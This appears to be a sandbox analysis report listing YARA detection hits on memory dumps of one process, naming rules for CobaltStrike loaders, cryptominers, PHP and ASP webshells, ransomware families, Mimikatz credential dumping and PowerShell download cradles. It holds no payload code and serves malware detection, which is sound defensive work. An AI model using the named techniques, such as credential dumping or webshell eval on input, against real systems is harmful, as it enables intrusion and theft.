Rule: CobaltStrike_MZ_Launcher, Description: Detects CobaltStrike MZ header 
ReflectiveLoader launcher, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: yara@s3c.za.net
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Ham_backdoor, Description: unknown, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Cylance Spear Team
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Rule: malware_red_leaves_generic, Description: Red Leaves malware, related to APT10, 
Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: David Cannings
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6338781268.0000028BD70B3000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.6277659200.0000028BD78B0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6347513149.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_obfuscated, Description: ASP webshell obfuscated, Source: 
00000023.00000003.6347513149.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6347513149.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6345125997.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6345125997.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6265722092.0000028BD77B8000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6291965399.0000028BD7440000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6326794298.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6326794298.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6326794298.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6312829089.0000028BD7178000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.6312829089.0000028BD7178000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.6434983405.0000028BD7D95000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.6280803860.0000028BD7E31000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6300664525.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6300664525.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Msfpayloads_msf_psh, Description: Metasploit Payloads - file msf-psh.vba, Source: 
00000023.00000003.6341363005.0000028BD7DAE000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6399408556.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6399408556.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6399408556.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.6432193313.0000028BD6D97000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6269974258.0000028BD77B8000.00000004.00000001.sdmp, 
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Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6309579817.0000028BD8040000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6309579817.0000028BD8040000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 
00000023.00000003.6309579817.0000028BD8040000.00000004.00000001.sdmp, 
Author: ThreatConnect Intelligence Research Team
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.6271514994.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.6271514994.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6271514994.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6271514994.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: Amplia_Security_Tool, Description: Amplia Security Tool, Source: 
00000023.00000003.6340606272.0000028BD78F3000.00000004.00000001.sdmp, 
Author: unknown
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6340606272.0000028BD78F3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.6298208897.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6298208897.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6316751945.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6316751945.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6407852134.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6407852134.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6407852134.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6267925507.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.6267925507.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected 
MSIL_Load_Encrypted_Assembly, Source: 
00000023.00000003.6267925507.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CVE_2018_4878_0day_ITW, Description: unknown, Source: 
00000023.00000003.6267925507.0000028BD6E61000.00000004.00000001.sdmp, 
Author: unknown
Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post 
Exploitation Toolkit - file p0wnedShell.cs, Source: 
00000023.00000003.6266507875.0000028BD63ED000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious 
PowerShell code that downloads from web sites, Source: 
00000023.00000003.6266507875.0000028BD63ED000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6266507875.0000028BD63ED000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: ZxShell_Jul17, Description: Detects a ZxShell - CN threat group, Source: 
00000023.00000003.6324858901.0000028BD71BA000.00000004.00000001.sdmp, 
Author: Florian Roth
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Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6408458380.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6408458380.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6408458380.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.6287398810.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6287398810.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.6328967380.0000028BD6126000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom 
RemoteAdmin tool, Source: 
00000023.00000003.6328967380.0000028BD6126000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6405856828.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6405856828.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6405856828.0000028BD6E61000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6341899374.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6341899374.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6302159310.0000028BD7C4C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6268258204.0000028BD6EA2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6268258204.0000028BD6EA2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6268258204.0000028BD6EA2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6408913892.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6408913892.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6408913892.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.6273117492.0000028BD7976000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
00000023.00000003.6273117492.0000028BD7976000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6290474663.0000028BD5FE4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6337910603.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6337910603.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6337910603.0000028BD7708000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
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Source: 
00000023.00000003.6335572342.0000028BD6FAA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6339082124.0000028BD7EB5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6339082124.0000028BD7EB5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6339082124.0000028BD7EB5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6434103017.0000028BD7BC7000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Buran, Description: Yara detected Buran Ransomware, Source: 
00000023.00000003.6434103017.0000028BD7BC7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Gocoder_3, Description: Yara detected Gocoder ransomware, Source: 
00000023.00000003.6434103017.0000028BD7BC7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6332769584.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.6332769584.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6330808823.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6330808823.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6330808823.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6286809278.0000028BD6A80000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6325684988.0000028BD66A2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.6347949598.0000028BD6FAA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.6436760184.0000028BD67ED000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6436760184.0000028BD67ED000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 
00000023.00000003.6436760184.0000028BD67ED000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cute, Description: Yara detected Cute Ransomware, Source: 
00000023.00000003.6436760184.0000028BD67ED000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.6327648470.0000028BD7D54000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6327648470.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6315036458.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6315036458.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6312196496.0000028BD70F5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6312196496.0000028BD70F5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6312196496.0000028BD70F5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Trojan_Win32_PlaKeylog_B, Description: Keylogger component, Source: 
00000023.00000003.6305464629.0000028BD7725000.00000004.00000001.sdmp, 
Author: Microsoft
Rule: DeepPanda_htran_exe, Description: Hack Deep Panda - htran-exe, Source: 
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00000023.00000003.6305464629.0000028BD7725000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6305464629.0000028BD7725000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: hacktool_macos_keylogger_logkext, Description: LogKext is an open source 
keylogger for Mac OS X, a product of FSB software., Source: 
00000023.00000003.6307889726.0000028BD7137000.00000004.00000001.sdmp, 
Author: @mimeframe
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6307889726.0000028BD7137000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.6433423811.0000028BD748F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle 
Eastern campaign reported by Talos, Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: HackTool_Samples, Description: Hacktool, Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: unknown
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: MirageStrings, Description: Mirage Identifying Strings, Source: 
00000023.00000003.6429782920.0000028BD77E9000.00000004.00000001.sdmp, 
Author: Seth Hardy
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6320985176.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_obfuscated, Description: ASP webshell obfuscated, Source: 
00000023.00000003.6320985176.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6320985176.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.6348467864.0000028BD78B0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6343425129.0000028BD67F0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.6432796132.0000028BD7D95000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6307279106.0000028BD6061000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6307602633.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6307602633.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_generic, Description: php webshell having some kind of input and 
some kind of payload. restricted to small files or big ones inclusing suspicious strings, 
Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_generic_eval, Description: Generic PHP webshell which uses any 
eval/exec function in the same line with user input, Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
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Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: ChinaChopper_Generic, Description: China Chopper Webshells - PHP and ASPX, 
Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_mock, Description: Yara detected Mock Ransomware, Source: 
00000023.00000003.6431223020.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the 
encryption key for the configuration file used by Exaramel malware as seen in sample 
e1ff72[..., Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: FR/ANSSI/SDO
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6338449567.0000028BD8082000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn, Description: Detect the DLL 
responsible for loading and deobfuscating the DAT file containing shellcode and core 
REDLEAVES RAT, Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: USG
Rule: IMPLANT_5_v3, Description: XTunnel Implant by APT28, Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: US CERT
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_NoCry, Description: Yara detected NoCry Ransomware, Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: malware_red_leaves_memory, Description: Red Leaves C&C left in memory, use 
with Volatility / Rekall, Source: 
00000023.00000003.6437748593.0000028BD7B43000.00000004.00000001.sdmp, 
Author: David Cannings
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6321698835.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6321698835.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6321698835.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6303687995.0000028BD6EE5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post 
Exploitation Toolkit - file p0wnedShell.cs, Source: 
00000023.00000003.6268576251.0000028BD5F61000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6268576251.0000028BD5F61000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6268576251.0000028BD5F61000.00000004.00000001.sdmp, 
Author: Florian Roth
